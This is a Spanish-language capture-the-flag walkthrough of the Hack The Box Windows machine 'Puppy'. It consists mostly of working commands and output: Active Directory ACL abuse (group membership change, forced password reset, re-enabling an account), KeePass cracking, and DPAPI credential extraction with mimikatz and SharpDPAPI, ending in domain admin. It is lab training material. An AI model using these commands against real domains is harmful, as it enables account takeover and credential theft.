Puppy

OS: Windows
Dificultad: Medio
Puntos: 30

Nmap

ports=$(nmap -p- --min-rate=5000 10.10.11.70 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p $ports -sV -sC 10.10.11.70
Nmap scan report for 10.10.11.70
Host is up (0.12s latency).

Bug in iscsi-info: no string output.
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-05-22 16:28:05Z)
111/tcp   open  rpcbind?
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
2049/tcp  open  mountd        1-3 (RPC #100005)
3260/tcp  open  iscsi?
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49685/tcp open  msrpc         Microsoft Windows RPC
56987/tcp open  msrpc         Microsoft Windows RPC
60165/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Enumeration

HTB nos proporciona credenciales para iniciar la enumeración.

levi.james : KingofAkron2025!

Utilizamos netexec para enumerar la máquina.

netexec smb 10.10.11.70 -u 'levi.james' -p 'KingofAkron2025!' --shares
SMB         10.10.11.70     445    DC               Share           Permissions     Remark
SMB         10.10.11.70     445    DC               -----           -----------     ------
SMB         10.10.11.70     445    DC               ADMIN$                          Remote Admin
SMB         10.10.11.70     445    DC               C$                              Default share
SMB         10.10.11.70     445    DC               DEV                             DEV-SHARE for PUPPY-DEVS
SMB         10.10.11.70     445    DC               IPC$            READ            Remote IPC
SMB         10.10.11.70     445    DC               NETLOGON        READ            Logon server share 
SMB         10.10.11.70     445    DC               SYSVOL          READ            Logon server share 

Después de enumerar un poco la máquina no identificamos nada extra. Sin embargo utilizamos bloodhound para obtener información.

netexec ldap 10.10.11.70 -u 'levi.james' -p 'KingofAkron2025!' -d puppy.htb --bloodhound --collection All --dns-server 10.10.11.70
LDAP        10.10.11.70     389    DC               Resolved collection methods: container, group, acl, dcom, rdp, session, objectprops, localadmin, trusts, psremote
LDAP        10.10.11.70     389    DC               Done in 00M 22S
LDAP        10.10.11.70     389    DC               Compressing output into /root/.nxc/logs/DC_10.10.11.70_2025-05-22_062900_bloodhound.zip

El usuario pertenece al grupo HR que a su vez tiene permisos Generic Write en el grupo Developers.

GenericWrite (Group)

Para explotar la vulnerabilidad utilizamos el siguiente comando. Esto nos permitirá agregar al usuario levi.james al grupo developers.

net rpc group addmem 'DEVELOPERS' 'levi.james' -U 'PUPPY.HTB'/'levi.james'%'KingofAkron2025!' -S 'puppy.htb'

No recibiremos ningún output sin embargo podemos ver que ahora tenemos permisos de lectura del directorio compartido DEV.

netexec smb 10.10.11.70 -u 'levi.james' -p 'KingofAkron2025!' --shares
SMB         10.10.11.70     445    DC               Share           Permissions     Remark
SMB         10.10.11.70     445    DC               -----           -----------     ------
SMB         10.10.11.70     445    DC               ADMIN$                          Remote Admin
SMB         10.10.11.70     445    DC               C$                              Default share
SMB         10.10.11.70     445    DC               DEV             READ            DEV-SHARE for PUPPY-DEVS
SMB         10.10.11.70     445    DC               IPC$            READ            Remote IPC
SMB         10.10.11.70     445    DC               NETLOGON        READ            Logon server share 
SMB         10.10.11.70     445    DC               SYSVOL          READ            Logon server share 

KepassXC Cracking

Accedemos al directorio y obtenemos el archivo recovery.kdbx.

smbclient //10.10.11.70/DEV -U 'levi.james'
Password for [WORKGROUP\levi.james]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                  DR        0  Tue May 20 22:27:23 2025
  ..                                  D        0  Sat Mar  8 11:52:57 2025
  KeePassXC-2.7.9-Win64.msi           A 34394112  Sun Mar 23 03:09:12 2025
  Projects                            D        0  Sat Mar  8 11:53:36 2025
  recovery.kdbx                       A     2677  Tue Mar 11 22:25:46 2025

smb: \> get recovery.kdbx
getting file \recovery.kdbx of size 2677 as recovery.kdbx (5.7 KiloBytes/sec) (average 5.7 KiloBytes/sec)

Crack file

Utilizando el comando keepass2john nos muestra el siguiente error.

┌──(root㉿kali)-[~/htb/Box/Puppy]
└─# keepass2john recovery.kdbx 
! recovery.kdbx : File version '40000' is currently not supported!

La forma en que podemos corregirlo es instalar una versión más nueva de john o también podemos utilizar un script llamado keepass4brute que depende de tener instalado keepassxc-cli.

/opt/keepass4brute/keepass4brute.sh recovery.kdbx /usr/share/wordlists/rockyou.txt 
keepass4brute 1.3 by r3nt0n
https://github.com/r3nt0n/keepass4brute

[+] Words tested: 36/14344392 - Attempts per minute: 180 - Estimated time remaining: 7 weeks, 6 days
[+] Current attempt: liverpool

[*] Password found: liverpool

Una vez obtenemos el password abrimos el archivo para obtener passwords de diferentes cuentas.

jamie.williams : JamieLove2025!
adam.silver : HJKL2025!
ant.edwards : Antman2025!

GenericAll (User)

Solo el password del usuario ant.edwards funciona.

netexec ldap 10.10.11.70 -u users.txt -p passwords.txt --continue
SMB         10.10.11.70     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
<...SNIP...>
LDAP        10.10.11.70     389    DC               [+] PUPPY.HTB\ant.edwards:Antman2025! 

El usuario pertenece al grupo SENIOR DEVS que tiene permisos GenericAll sobre el usuario adam.silver.

ForceChangePassword

Esto nos permite forzar un cambio de password al usuario adam.silver de la siguiente forma.

net rpc password 'adam.silver' 'Doom123!' -U 'puppy.htb'/'ant.edwards'%'Antman2025!' -S "puppy.htb"

Enable Account (STATUS_ACCOUNT_DISABLED)

Igual que antes no recibimos output. Sin embargo cuando intentamos conectarnos por winrm o smb nos muestra el mensaje STATUS_ACCOUNT_DISABLED. Para habilitar la cuenta realizamos el siguiente comando.

ldapmodify -x -D 'CN=Anthony J. Edwards,DC=PUPPY,DC=HTB' -w 'Antman2025!' -H ldap://10.10.11.70 <<EOF
dn: CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB
changetype: modify
replace: userAccountControl
userAccountControl: 512
EOF

Ahora podemos conectarnos por winrm.

evil-winrm -i 10.10.11.70 -u 'adam.silver' -p 'Doom123!'
*Evil-WinRM* PS C:\Users\adam.silver\Documents> cd ..\Desktop
*Evil-WinRM* PS C:\Users\adam.silver\Desktop> ls


    Directory: C:\Users\adam.silver\Desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         2/28/2025  12:31 PM           2312 Microsoft Edge.lnk
-ar---         5/20/2025   1:22 AM             34 user.txt


*Evil-WinRM* PS C:\Users\adam.silver\Desktop> type user.txt
f1b76fffa4230f2816865254e95730a0

Lateral Movement

En el disco C: vemos la carpeta Backups que contiene un backup de un sitio web por lo tanto lo descargamos.

*Evil-WinRM* PS C:\> dir


    Directory: C:\


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----          5/9/2025  10:48 AM                Backups

*Evil-WinRM* PS C:\> cd Backups
*Evil-WinRM* PS C:\Backups> ls


    Directory: C:\Backups


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          3/8/2025   8:22 AM        4639546 site-backup-2024-12-30.zip


*Evil-WinRM* PS C:\Backups> download site-backup-2024-12-30.zip
                                        
Info: Downloading C:\Backups\site-backup-2024-12-30.zip to site-backup-2024-12-30.zip
                                        
Info: Download successful!

Dentro del zip encontramos un archivo que contiene credenciales del usuario steph.cooper.

cat nms-auth-config.xml.bak
<?xml version="1.0" encoding="UTF-8"?>
<ldap-config>
    <server>
        <host>DC.PUPPY.HTB</host>
        <port>389</port>
        <base-dn>dc=PUPPY,dc=HTB</base-dn>
        <bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
        <bind-password>ChefSteph2025!</bind-password>

Ahora nos podemos conectar con esas credenciales.

evil-winrm -i 10.10.11.70 -u 'steph.cooper' -p 'ChefSteph2025!'
*Evil-WinRM* PS C:\Users\steph.cooper\Documents> whoami
puppy\steph.cooper

Privilege Escalation

Utilizando Seatbelt podemos identificar que hay credenciales almacenadas.

*Evil-WinRM* PS C:\Users\steph.cooper\Documents> .\Seatbelt.exe WindowsCredentialFiles

====== WindowsCredentialFiles ======

  Folder : C:\Users\steph.cooper\AppData\Local\Microsoft\Credentials\

    FileName     : DFBE70A7E5CC19A398EBF1B96859CE5D
    Description  : Local Credential Data

    MasterKey    : 556a2412-1275-4ccf-b721-e6a0b4f90407
    Accessed     : 3/8/2025 8:14:09 AM
    Modified     : 3/8/2025 8:14:09 AM
    Size         : 11068


  Folder : C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\

    FileName     : C8D69EBE9A43E9DEBF6B5FBD48B521B9
    Description  : Enterprise Credential Data

    MasterKey    : 556a2412-1275-4ccf-b721-e6a0b4f90407
    Accessed     : 3/8/2025 7:54:29 AM
    Modified     : 3/8/2025 7:54:29 AM
    Size         : 414

DPAPI

Podemos listar los archivos que contienen las masterkeys para descifrar la información anterior. Para esto utilizamos SharpDPAPI.

*Evil-WinRM* PS C:\Users\steph.cooper\Documents> .\SharpDPAPI.exe masterkeys /password:ChefSteph2025!

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.11.2


[*] Action: User DPAPI Masterkey File Triage

[*] Will decrypt user masterkeys with password: ChefSteph2025!

[*] Found MasterKey : C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407

[*] User master key cache:

{556a2412-1275-4ccf-b721-e6a0b4f90407}:4BE520BECFFF09F17E45269C9156768EE03609CE

Ahora que identificamos los archivos en este caso solo es uno procedemos a utilizar mimikatz para obtener la masterkey. Requerimos ejecutar el comando en una sola línea por lo tanto almacenamos el output en un archivo de la siguiente forma.

.\mimikatz.exe "dpapi::masterkey /in:C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407 /rpc" exit > a.txt
*Evil-WinRM* PS C:\Users\steph.cooper\Documents> type a.txt

Auto SID from path seems to be: S-1-5-21-1487982659-1829050783-2281216199-1107

[backupkey] without DPAPI_SYSTEM:
  key : 1a943a912fa315c7f9eced48870b613d9e75b467d13d618bbad9262ef3f2c567
  sha1: 469928729f9405d7ba46a22de53071b2e1d81fb9

[domainkey] with RPC
[DC] 'PUPPY.HTB' will be the domain
[DC] 'DC.PUPPY.HTB' will be the DC server
  key : d9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
  sha1: 3c3cf2061dd9d45000e9e6b49e37c7016e98e701

Con la key desciframos el archivo con el comando.

.\mimikatz.exe "dpapi::cred /in:C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9 /masterkey:d9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84" exit > a.txt

Obtenemos el password del usuario steph.cooper_adm.

*Evil-WinRM* PS C:\Users\steph.cooper\Documents> type a.txt

Decrypting Credential:
 * masterkey     : d9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
**CREDENTIAL**
  credFlags      : 00000030 - 48
  credSize       : 000000c8 - 200
  credUnk0       : 00000000 - 0

  Type           : 00000002 - 2 - domain_password
  Flags          : 00000000 - 0
  LastWritten    : 3/8/2025 3:54:29 PM
  unkFlagsOrSize : 00000030 - 48
  Persist        : 00000003 - 3 - enterprise
  AttributeCount : 00000000 - 0
  unk0           : 00000000 - 0
  unk1           : 00000000 - 0
  TargetName     : Domain:target=PUPPY.HTB
  UnkData        : (null)
  Comment        : (null)
  TargetAlias    : (null)
  UserName       : steph.cooper_adm
  CredentialBlob : FivethChipOnItsWay2025!
  Attributes     : 0

Nos conectamos por winrm.

evil-winrm -i 10.10.11.70 -u 'steph.cooper_adm' -p 'FivethChipOnItsWay2025!'
*Evil-WinRM* PS C:\Users\steph.cooper_adm\Documents> cd c:\Users\Administrator\Desktop\
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
d213d11eb4b4e25e1b1f3afa364fb93a

References

https://www.thehacker.recipes/ad/movement/dacl/addmember
https://www.thehacker.recipes/ad/movement/dacl/forcechangepassword
https://github.com/GhostPack/Seatbelt
https://github.com/GhostPack/SharpDPAPI
https://tools.thehacker.recipes/mimikatz/modules/dpapi/masterkey
https://tools.thehacker.recipes/mimikatz/modules/dpapi/cred